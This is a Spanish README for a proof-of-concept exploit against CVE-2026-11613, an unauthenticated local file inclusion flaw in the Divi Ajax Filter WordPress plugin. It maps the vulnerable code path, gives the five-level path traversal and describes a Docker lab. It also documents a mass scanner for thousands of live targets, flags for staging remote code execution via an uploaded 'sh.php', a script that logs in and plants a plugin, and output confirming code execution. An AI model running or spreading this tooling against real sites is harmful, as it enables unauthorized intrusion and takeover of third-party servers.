
Divi Ajax Filter <= 5.1.2 Inclusión de archivos local no autenticada a través de 'custom_loop_template'
| Plugin | Divi Ajax Filter (Divi Engine, premium — no está en el SVN de wordpress.org) |
| Afectado | todas las versiones <= 5.1.2 (el laboratorio usa 3.1.8.4 de un mirror) |
| Parcheado | 5.1.3 (11/08/2026) |
| Tipo | CWE-98 — Inclusión Local de Archivos PHP, sin autenticación |
| CVSS | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N) |
| Aviso | Wordfence (descubridor: h0xilo), publicado el 04/09/2026 |
| Código fuente | mirror público: github.com/albertoformi/fr9z3i4pwxt3qx (sitio WP + plugin en includes/modules/divi-ajax-filter/) |
includes/modules/FilterPosts/FilterPosts.php:1759 crea
wp_create_nonce('filter_object') y lo adjunta mediante wp_localize_script
(filter_ajax_object.security) al script que se encola para TODOS los visitantes
(wp_enqueue_scripts). El nonce no es una barrera: cada visitante tiene una copia.filter_ajax.php:3406-3407 y loadmore_ajax.php:569-570
registran handlers con wp_ajax_nopriv_* (sin login).filter_ajax.php:114-133 (loadmore: 73-91):
$loop_var = json_decode(sanitize_text_field($_POST['loop_var'])), luego
$custom_loop_template = $loop_var['custom_loop_template'] verbatim —
sin basename(), sin lista blanca, sin comprobación de realpath.filter_ajax.php:2871-2873 (loadmore: 344-346):
if ($loop_templates == 'custom-template') {
if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
$posttype del JSON
query es libre, sin lista de permitidos) y la consulta debe devolver >= 1 post.<webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/
→ se necesitan ../../../../../ (5×) para volver al webroot. NOTA IMPORTANTE:
file_exists()/include() fallan silenciosamente si el componente del prefijo de ruta no existe —
el directorio divi-ajax-filter/loop-templates/ dentro del theme debe existir (esta
es la estructura de custom-template documentada del plugin, por lo que es común en sitios
que usan esta función; sin ese directorio el traversal queda efectivamente bloqueado).cve-2026-11613/
├── poc_http.py # PoC + escáner masivo en vivo (archivo único)
├── divi-ajax-filter-3.1.8.4.zip # plugin listo para instalar (subir vía WP admin / Plugins > Add New)
├── README.md
├── mirror-site/ # clon de github albertoformi/fr9z3i4pwxt3qx
│ └── includes/modules/divi-ajax-filter/ # plugin v3.1.8.4 (afectado)
└── lab/
├── docker-compose.yml # WP 6.5 + MariaDB, puerto 8099
├── setup.sh # copiar plugin + compose up
├── install_wp.sh # instalar WP + verificación
└── wp-content/
├── mu-plugins/
│ ├── zz-divi-shim.php # shim DiviExtension/ET_Builder_* (solo laboratorio)
│ └── zz-activate-daf.php # auto-activación del plugin
├── plugins/divi-ajax-filter/ # plugin vulnerable (montado en el contenedor)
└── uploads/poc-rce.php # payload de "subida" simulado (exit al final)
bash lab/setup.sh # copiar plugin + docker compose up (puerto 8099)
bash lab/install_wp.sh # instalar WP (admin / LabPass!2026)
# añadir la estructura de theme necesaria para el traversal:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# crear 2 posts de ejemplo (una sola vez):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
-e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish
python poc_http.py target.com # auto http://
python poc_http.py https://target.com domain2.com # varios objetivos
python poc_http.py --list targets.txt --threads 30 # escaneo masivo 5000+
python poc_http.py --list targets.txt --fast # barrido ligero 2 req/objetivo
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED # preparar RCE
http://; deduplicación automática; los resultados
se escriben de forma incremental en results_cve-2026-11613.csv (seguro ante Ctrl-C, los resultados parciales se guardan).VULN: LFI / VULN: LFI+RCE (verde), not-confirmed (amarillo),
NO-NONCE / NO-PLUGIN (cian), UNREACHABLE / ERROR (rojo).--no-color / env NO_COLOR para salida plana; el color se desactiva automáticamente al usar pipes.python wayang.py <site> <wp-user> <wp-pass>
Un solo comando: login → plantar canary WayangXploit (plugin pequeño no activo,
solo PoC: imprime marker+uid+uname y luego exit, no es webshell, sin parámetros
cmd) → verificación → barrido LFI sin autenticación → veredicto RCE. Automático: https-upgrade,
bypass SSL, POST que preserva redirecciones. Limpieza: elimina el plugin
"WayangXploit Canary" + "Divi Compat Shim" en wp-admin después de la prueba.
poc_http.py ahora usa por defecto --upload-marker WayangXploit-RCE-CONFIRMED
(por lo que basta con --upload-rel / --upload-name).
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2
Requisitos de explotabilidad en objetivos en vivo (los que comprueba live_scan.py):
filter_object está expuesto en páginas públicas (el script del módulo está encolado).<theme>/divi-ajax-filter/loop-templates/ (el traversal con prefijo lo necesita).